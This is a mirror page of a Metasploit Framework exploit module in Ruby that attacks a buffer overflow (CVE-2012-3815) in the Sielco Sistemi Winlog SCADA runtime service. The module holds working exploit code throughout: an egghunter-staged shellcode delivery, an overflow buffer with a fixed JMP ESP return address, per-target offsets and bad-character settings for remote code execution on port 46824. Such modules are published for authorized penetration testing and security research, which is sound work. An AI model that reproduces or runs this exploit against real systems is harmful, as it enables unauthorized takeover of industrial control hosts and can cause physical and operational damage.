CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/winlog_runtime_2.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
15
'Description' => %q{
16
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
17
When sending a specially formatted packet to the Runtime.exe service on port 46824,
18
an attacker may be able to execute arbitrary code.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'Michael Messner <devnull[at]s3cur1ty.de>'
24
],
25
'References' =>
26
[
27
[ 'BID', '53811'],
28
[ 'CVE', '2012-3815'],
29
[ 'OSVDB', '82654'],
30
[ 'EDB', '18986'],
31
[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
32
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
33
],
34
'DefaultOptions' =>
35
{
36
'EXITFUNC' => 'thread',
37
},
38
'Platform' => 'win',
39
'Payload' =>
40
{
41
'Space' => 2000,
42
'BadChars' => "\x00",
43
'DisableNops' => true,
44
},
45
'Targets' =>
46
[
47
[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
48
{
49
'Ret' => 0x405153df,
50
'Offset' => 167,
51
}
52
], # Jmp ESP - Vclx40.bpl - 0x405153df
53
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
54
{
55
'Ret' => 0x405153df,
56
'Offset' => 151,
57
}
58
], # Jmp ESP - Vclx40.bpl - 0x405153df
59
#The reliability depends on the actual project. We need to generate some more
60
#targets. Two of them for the default project and one other project is now available.
61
],
62
'Privileged' => false,
63
'DisclosureDate' => '2012-06-04',
64
'DefaultTarget' => 0))
65
66
register_options([Opt::RPORT(46824)])
67
end
68
69
def exploit
70
connect
71
72
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
73
74
print_status("Placing the shellcode")
75
shellcode = rand_text_alpha(2000)
76
shellcode << egg
77
sock.put(shellcode)
78
79
select(nil,nil,nil,1)
80
81
buffer = rand_text_alpha(20)
82
buffer << "\x14" * 10 #trigger the crash
83
buffer << rand_text_alpha(target['Offset'])
84
buffer << [target.ret].pack('V')
85
buffer << egghunter
86
buffer << rand_text_alpha(69 - egghunter.length)
87
88
print_status("Trying target #{target.name}...")
89
sock.put(buffer)
90
91
handler
92
disconnect
93
94
end
95
end
96
97
98